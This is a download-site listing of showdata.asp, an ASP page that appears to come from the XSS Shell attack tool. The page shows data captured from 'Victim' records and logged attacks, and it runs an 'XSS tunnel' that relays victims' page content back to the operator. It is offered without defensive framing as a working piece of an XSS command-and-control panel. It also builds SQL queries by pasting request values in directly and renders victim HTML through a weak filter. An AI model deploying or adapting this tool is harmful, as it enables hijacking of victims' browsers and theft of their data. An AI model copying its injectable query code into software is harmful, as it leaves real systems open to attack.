showdata.asp
上传用户:wangting
上传日期:2020-01-24
资源大小:2226k
文件大小:2k
源码类别:

破解

开发平台:

ASP/ASPX

  1. <%
  2. '// SHOW DATA
  3. ' Show detailed data from records be carefull about backfire XSS attacks!
  4. '//HISTORY
  5. '09/08/2006
  6. ' - Started
  7. '01.04.2007
  8. ' - Log Check replaced with AttackID instead of ID
  9. '//TODO
  10. ' - Safe HTML method (you can manually implement this page to a subpage for a more secure HTML viewing expreience)
  11. ' - Remove previously injected payload  (if any)
  12. %>
  13. <!--#include file="db.asp" -->
  14. <%
  15. protected()
  16. Dim mode
  17. mode = fm_Qnstr("m")
  18. Select Case mode
  19. Case 1
  20. ShowData
  21. Case 2 'XSS Tunnel
  22. ShowHTML 2
  23. Case Else
  24. ShowHTML 1
  25. End Select
  26. Sub ShowData()
  27. Dim RsData
  28. getRs RsData, "SELECT Data FROM Victim WHERE ID = " & fm_Qnstr("i")
  29. Response.Write "<blockquote>" & fm_Encode(RsData("Data")) & "</blockquote>"
  30. fmKill RsData
  31. End Sub
  32. Sub ShowHTML(mode)
  33. Dim RsData
  34. getRs RsData, "SELECT ID, Data, Type, [Time] FROM Log  WHERE AttackID = '" & fm_Qnstr("i") & "'"
  35. If RsData.EOF And RsData.BOF Then
  36. Response.Write "NO_RECORD"
  37. Exit Sub
  38. End If
  39. Select Case mode
  40. Case 1 'Old School
  41. Response.Write "Time : " & RsData("Time") & "<hr>"
  42. Dim Data2Write
  43. Data2Write = RsData("Data")
  44. %>
  45. <script>
  46. window.onload=function(){
  47. var newdoc = filter(unescape("<%=Data2Write%>"));
  48. document.open();
  49. document.write(newdoc);
  50. document.close();
  51. }
  52. /*
  53.  You should;
  54. - implement your own filter here if it's not style otherwise xssshell will call itelf recursively
  55.  You can;
  56. - Build a filter for against backfire (XSS attacks from so called victim - don't forget this page and your patterns will be visible to everyone.)
  57. - or strip all HTML etc...
  58. */
  59. function filter(html){
  60. return html.replace(/<SCRIPTb[^>]*>(.*?)</SCRIPT>/i, "");
  61. }
  62. </script>
  63. <%
  64. Case 2 'XSS Tunnel
  65. If IsNull(RsData("Data"))  Then
  66. Response.Write "NO_RECORD"
  67. Exit Sub
  68. End If 
  69. Dim data 
  70. data  = RsData("Data")
  71. ' data  = Replace(data, "xssshell.asp","none.htm")
  72. Response.Write fm_Encode(data)
  73. End Select
  74. fmKill RsData
  75. End Sub
  76. %>